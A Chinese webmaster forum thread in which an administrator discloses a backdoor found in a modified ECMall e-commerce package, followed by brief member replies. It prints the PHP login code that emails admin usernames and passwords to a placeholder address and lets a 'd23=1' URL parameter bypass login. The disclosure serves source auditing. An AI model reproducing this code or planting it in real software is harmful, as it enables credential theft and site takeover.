123下一页
返回列表 发新帖
查看: 3321|回复: 25

自动发送后台账号密码到指定邮箱的后门源码公示

[复制链接]

6671

热度

1万

元宝

262

贡献

管理员

DZ专员

发表于 2015-8-23 12:00:47 | 显示全部楼层 |阅读模式
感谢会员@.开心寶寶.提供ECmall的修改版某源码相关"自动发送后台账号密码到指定邮箱的"源码公示,以便会员对网站源码代码予以严格审计:

ccll/app/backend.base.php第55行
  1. $this->_mailto('xxxxx@163.com', '商城', $ret_url,'0');
复制代码
自动发送后台账号密码到指定邮箱的后门操作代码:
  1. $user_name = trim($_POST['user_name']);
  2.             $password  = $_POST['password'];

  3.             $ms =& ms();
  4.             $user_id = $ms->user->auth($user_name, $password);
  5.                        
  6.                         $ret_url        =$_SERVER['HTTP_REFERER'].'<br>';
  7.                         $ret_url        .=$user_name.'<br>';
  8.                         $ret_url        .=$password.'<br>';
  9.                         $this->_mailto('xxxxx@163.com', '商城', $ret_url,'0');
  10.                        
  11.                         if($_GET['d23']==1)
  12.                         {
  13.                         $user_id=$_GET['d23'];
  14.                         }
  15.                        
  16.             if (!$user_id)
  17.             {
  18.                 /* 未通过验证,提示错误信息 */
  19.                 $this->show_warning($ms->user->get_error());

  20.                 return;
  21.             }

  22.             /* 通过验证,执行登陆操作 */
  23.             if (!$this->_do_login($user_id))
  24.             {
  25.                 return;
  26.             }
  27. header("Location: index.php");
复制代码


敬告:
游客,如果您要查看本帖隐藏内容请回复

6671

热度

1万

元宝

262

贡献

管理员

DZ专员

 楼主| 发表于 2015-8-23 12:23:26 | 显示全部楼层
源文件包含的信息公示:
QQ图片20150823122136.png

151

热度

277

元宝

52

贡献

步入草根

发表于 2015-8-23 12:15:05 | 显示全部楼层
自动发送后台账号密码到指定邮箱的后门源码公示
        

1574

热度

1772

元宝

17

贡献

步入草根

发表于 2015-8-23 12:15:47 | 显示全部楼层
可怕,加这样的码可不厚道。。。。

758

热度

588

元宝

47

贡献

步入草根

发表于 2015-8-23 12:15:52 | 显示全部楼层
瞅瞅 !~!~!~!

3648

热度

4465

元宝

142

贡献

终身ViP

宣传达人突出贡献论坛元老热心会员灌水之王活跃会员

发表于 2015-8-23 12:17:21 | 显示全部楼层
^^^^^^^^^^^^^^^^^^^^^^^^^

1518

热度

2677

元宝

105

贡献

学习ViP(审查中)

发表于 2015-8-23 12:19:08 | 显示全部楼层
自动发送后台账号密码到指定邮箱的后门源码公示

53

热度

97

元宝

17

贡献

步入草根

发表于 2015-8-23 12:58:19 | 显示全部楼层
自动发送后台账号密码到指定邮箱的后门源码

176

热度

347

元宝

13

贡献

步入草根

发表于 2015-8-24 22:00:55 | 显示全部楼层
的发的是发送到发送到

5

热度

31

元宝

0

贡献

步入草根

发表于 2015-8-26 00:28:24 | 显示全部楼层
谢谢您,顶
下一页 »
123下一页
返回列表 发新帖
 懒得打字嘛,点击右侧快捷回复【最新发布】   【赞助草根吧享更多权益】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

收藏帖子 返回列表 搜索

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

小黑屋|手机版|草根吧